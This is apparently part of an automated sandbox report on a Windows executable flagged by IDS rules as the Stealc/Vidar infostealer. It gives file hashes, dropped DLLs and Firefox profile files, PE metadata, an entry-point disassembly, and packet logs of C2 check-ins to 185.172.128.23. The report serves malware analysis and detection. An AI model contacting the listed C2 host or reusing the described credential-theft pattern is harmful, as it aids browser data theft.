SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\UvswnLTk5d.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\UvswnLTk5d.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\UvswnLTk5d.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\UvswnLTk5d.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\UvswnLTk5d.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\UvswnLTk5d.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\UvswnLTk5d.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\UvswnLTk5d.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.465445815704471
Encrypted:	false
SSDEEP:	6144:jIXfpi67eLPU9skLmb0b4+WSPKaJG8nAgejZMMhA2gX4WABl0uNbdwBCswSbG:0XD94+WlLZMM6YFH9+G
MD5:	1BA00067AE264EBFA297B58E1BCB6B80
SHA1:	86F37915287BD90B94255B32C455151804F6C963
SHA-256:	A0AA33FAFEF8EFB0E0814409063524B8DD461AAF5E0B645F0C6E7218D4FF2BAB
SHA-512:	8A24D7F60AFA2C4537524DA0D367361410ECDA4D7D771A5ECF58946BE70FC7E07AC963D4D6C9C14D339F1AB651D13AA7E61B62E01895E9862D9BF56BD99D7BCD
Malicious:	false
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.^..................................................................................................................................................................................................................................................................................................................................................T..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.540910479636606
TrID:	Win32 Executable (generic) a (10002005/4) 99.94% Clipper DOS Executable (2020/12) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% VXD Driver (31/22) 0.00%
File name:	UvswnLTk5d.exe
File size:	312'832 bytes
MD5:	e2d45c465fd698e29d05ce3401c01222
SHA1:	519160fc2c2b822644e37d1ff9e65a869a2c8278
SHA256:	bf64f0b89179c564e2ccac32d33face7727c828421044c6c132dece09c026aa3
SHA512:	45fd32bce2f548fa0f5e73621495816ede023a4fd72fefdfedb588e5d4741457b777eedd8a404ac284794df1bfa5bc48e4bcb895708f46746b235defda77c81a
SSDEEP:	3072:oi3GcRMXNeNhTROfvgPUVfk+rh1qURq+eLR6apNWKELZRdylkvvZqC5fyEQlEN:Pu8h8gsFkORiRRpNLELxylSRqYfys
TLSH:	94647C0272D0A872F57347724E69D6A4763EFC614F7E6B2B23485E2F04B30A5D622772
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L...\UDd...

File Icon


Icon Hash:	414545450d594d09

Static PE Info

General

Entrypoint:	0x406865
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x6444555C [Sat Apr 22 21:45:00 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	15d4342385ed3590f2f3489674cc6c48

Entrypoint Preview

Instruction
call 00007F4B6172B12Ah
jmp 00007F4B61721265h
push 00000014h
push 00421A30h
call 00007F4B617283EAh
call 00007F4B617236B9h
movzx esi, ax
push 00000002h
call 00007F4B6172B0BDh
pop ecx
mov eax, 00005A4Dh
cmp word ptr [00400000h], ax
je 00007F4B61721266h
xor ebx, ebx
jmp 00007F4B61721295h
mov eax, dword ptr [0040003Ch]
cmp dword ptr [eax+00400000h], 00004550h
jne 00007F4B6172124Dh
mov ecx, 0000010Bh
cmp word ptr [eax+00400018h], cx
jne 00007F4B6172123Fh
xor ebx, ebx
cmp dword ptr [eax+00400074h], 0Eh
jbe 00007F4B6172126Bh
cmp dword ptr [eax+004000E8h], ebx
setne bl
mov dword ptr [ebp-1Ch], ebx
call 00007F4B61728835h
test eax, eax
jne 00007F4B6172126Ah
push 0000001Ch
call 00007F4B61721341h
pop ecx
call 00007F4B61727844h
test eax, eax
jne 00007F4B6172126Ah
push 00000010h
call 00007F4B61721330h
pop ecx
call 00007F4B6172B136h
and dword ptr [ebp-04h], 00000000h
call 00007F4B61728556h
test eax, eax
jns 00007F4B6172126Ah
push 0000001Bh
call 00007F4B61721316h
pop ecx
call dword ptr [0041A0DCh]
mov dword ptr [02D1A5A4h], eax
call 00007F4B6172B151h
mov dword ptr [0043ED4Ch], eax
call 00007F4B6172AAF4h
test eax, eax
jns 00007F4B6172126Ah

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x21fe4	0x78	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x291b000	0xea38	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1a230	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x20a60	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1a000	0x1ac	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x18f3a	0x19000	9ae8bbe16bd9a8f27879898c2d828d68	False	0.57826171875	data	6.676451866139256	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x1a000	0x89c2	0x8a00	1e272cd1ceeed31e16085d9294ebe813	False	0.3883888134057971	data	4.741329864115481	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x23000	0x28f75a8	0x1bc00	9270a022a3b619e9ad2686ab133c8309	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x291b000	0xea38	0xec00	6de4473922772867bb29781fc73881fb	False	0.3868346133474576	data	4.336991583624034	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x2926968	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0			0.4375
RT_CURSOR	0x2926a98	0xb0	Device independent bitmap graphic, 16 x 32 x 1, image size 0			0.44886363636363635
RT_CURSOR	0x2926b70	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.27238805970149255
RT_CURSOR	0x2927a18	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.375
RT_CURSOR	0x29282c0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.5057803468208093
RT_ICON	0x291b5b0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Romanian	Romania	0.3590085287846482
RT_ICON	0x291c458	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Romanian	Romania	0.4747292418772563
RT_ICON	0x291cd00	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Romanian	Romania	0.4645228215767635
RT_ICON	0x291f2a8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Romanian	Romania	0.4692776735459662
RT_ICON	0x2920350	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Romanian	Romania	0.49822695035460995
RT_ICON	0x2920808	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Romanian	Romania	0.48800639658848616
RT_ICON	0x29216b0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Romanian	Romania	0.47021660649819497
RT_ICON	0x2921f58	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Romanian	Romania	0.43713872832369943
RT_ICON	0x29224c0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Romanian	Romania	0.2779045643153527
RT_ICON	0x2924a68	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Romanian	Romania	0.29338649155722324
RT_ICON	0x2925b10	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Romanian	Romania	0.30901639344262294
RT_ICON	0x2926498	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Romanian	Romania	0.3351063829787234
RT_STRING	0x2928a38	0x2e8	data	Romanian	Romania	0.48655913978494625
RT_STRING	0x2928d20	0x40e	data	Romanian	Romania	0.4624277456647399
RT_STRING	0x2929130	0x266	data	Romanian	Romania	0.46254071661237783
RT_STRING	0x2929398	0x2a6	data	Romanian	Romania	0.47345132743362833
RT_STRING	0x2929640	0x3f2	data	Romanian	Romania	0.46633663366336636
RT_GROUP_CURSOR	0x2926b48	0x22	data			1.0588235294117647
RT_GROUP_CURSOR	0x2928828	0x30	data			0.9375
RT_GROUP_ICON	0x29207b8	0x4c	data	Romanian	Romania	0.75
RT_GROUP_ICON	0x2926900	0x68	data	Romanian	Romania	0.7115384615384616
RT_VERSION	0x2928858	0x1e0	data			0.55

Imports

DLL	Import
KERNEL32.dll	FindVolumeClose, WriteConsoleInputW, GetNumaProcessorNode, GetCurrentProcess, AddConsoleAliasW, GetNumberFormatA, GetWindowsDirectoryA, GetUserDefaultLangID, GlobalFindAtomA, LoadLibraryW, TerminateThread, GetLocaleInfoW, ReadConsoleInputA, ReadProcessMemory, FindNextVolumeW, WriteConsoleW, GetModuleFileNameW, GetCompressedFileSizeA, SetThreadLocale, GetThreadContext, GetLastError, ChangeTimerQueueTimer, VirtualAlloc, CopyFileA, LoadLibraryA, LocalAlloc, CreateHardLinkW, AddAtomW, RemoveDirectoryW, SetCommMask, GetOEMCP, FindFirstChangeNotificationA, VirtualProtect, SetCalendarInfoA, SetFileAttributesW, GetVolumeInformationW, CreateThread, CreateFileW, GetStdHandle, DebugActiveProcess, OutputDebugStringW, FlushFileBuffers, SetStdHandle, ReadFile, WideCharToMultiByte, MultiByteToWideChar, GetStringTypeW, EncodePointer, DecodePointer, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, HeapFree, GetCommandLineA, GetCPInfo, RaiseException, RtlUnwind, HeapAlloc, IsProcessorFeaturePresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, SetLastError, InitializeCriticalSectionAndSpinCount, Sleep, TerminateProcess, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetStartupInfoW, GetModuleHandleW, GetProcAddress, LCMapStringW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, IsValidCodePage, GetACP, GetCurrentThreadId, IsDebuggerPresent, GetFileType, GetProcessHeap, ExitProcess, GetModuleHandleExW, HeapSize, CloseHandle, GetModuleFileNameA, WriteFile, QueryPerformanceCounter, GetCurrentProcessId, GetSystemTimeAsFileTime, GetEnvironmentStringsW, FreeEnvironmentStringsW, HeapReAlloc, GetConsoleCP, GetConsoleMode, SetFilePointerEx, LoadLibraryExW
USER32.dll	GetMenuInfo
GDI32.dll	GetCharacterPlacementW
ole32.dll	CoMarshalHresult
WINHTTP.dll	WinHttpReadData

Possible Origin

Language of compilation system	Country where language is spoken	Map
Romanian	Romania

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
04/17/24-06:57:02.975682	TCP	2051831	ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	80	49730	185.172.128.23	192.168.2.4
04/17/24-06:57:01.805849	TCP	2044243	ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in	49730	80	192.168.2.4	185.172.128.23
04/17/24-06:57:02.280062	TCP	2044244	ET TROJAN Win32/Stealc Requesting browsers Config from C2	49730	80	192.168.2.4	185.172.128.23
04/17/24-06:57:02.652579	TCP	2044246	ET TROJAN Win32/Stealc Requesting plugins Config from C2	49730	80	192.168.2.4	185.172.128.23
04/17/24-06:57:02.602292	TCP	2051828	ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1	80	49730	185.172.128.23	192.168.2.4

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 17, 2024 06:57:01.600596905 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:01.805274010 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:01.805486917 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:01.805849075 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:02.009170055 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:02.278599977 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:02.278678894 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:02.280061960 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:02.483239889 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:02.602292061 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:02.602406025 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:02.602526903 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:02.602526903 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:02.652579069 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:02.855972052 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:02.975682020 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:02.975733042 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:02.975752115 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:02.975773096 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:02.975811005 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:02.975821972 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:02.975821972 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:02.975850105 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:02.975856066 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:02.975894928 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:03.004420042 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:03.004457951 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:03.207789898 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:03.207834959 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:03.207870007 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:03.578957081 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:03.579046965 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:03.809833050 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.013740063 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.117764950 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.117816925 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.117844105 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.117855072 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.117892981 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.117911100 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.117911100 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.117938042 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.118246078 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.118299961 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.118304968 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.118345022 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.118354082 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.118382931 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.118396044 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.118431091 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.118486881 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.118525982 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.118542910 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.118578911 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.321827888 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.321894884 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.321938038 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.321953058 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.321953058 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.321976900 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.322016954 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.322019100 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.322037935 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.322057962 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.322072029 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.322096109 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.322103024 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.322134972 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.322145939 CEST	49730	80	192.168.2.4	185.172.128.23
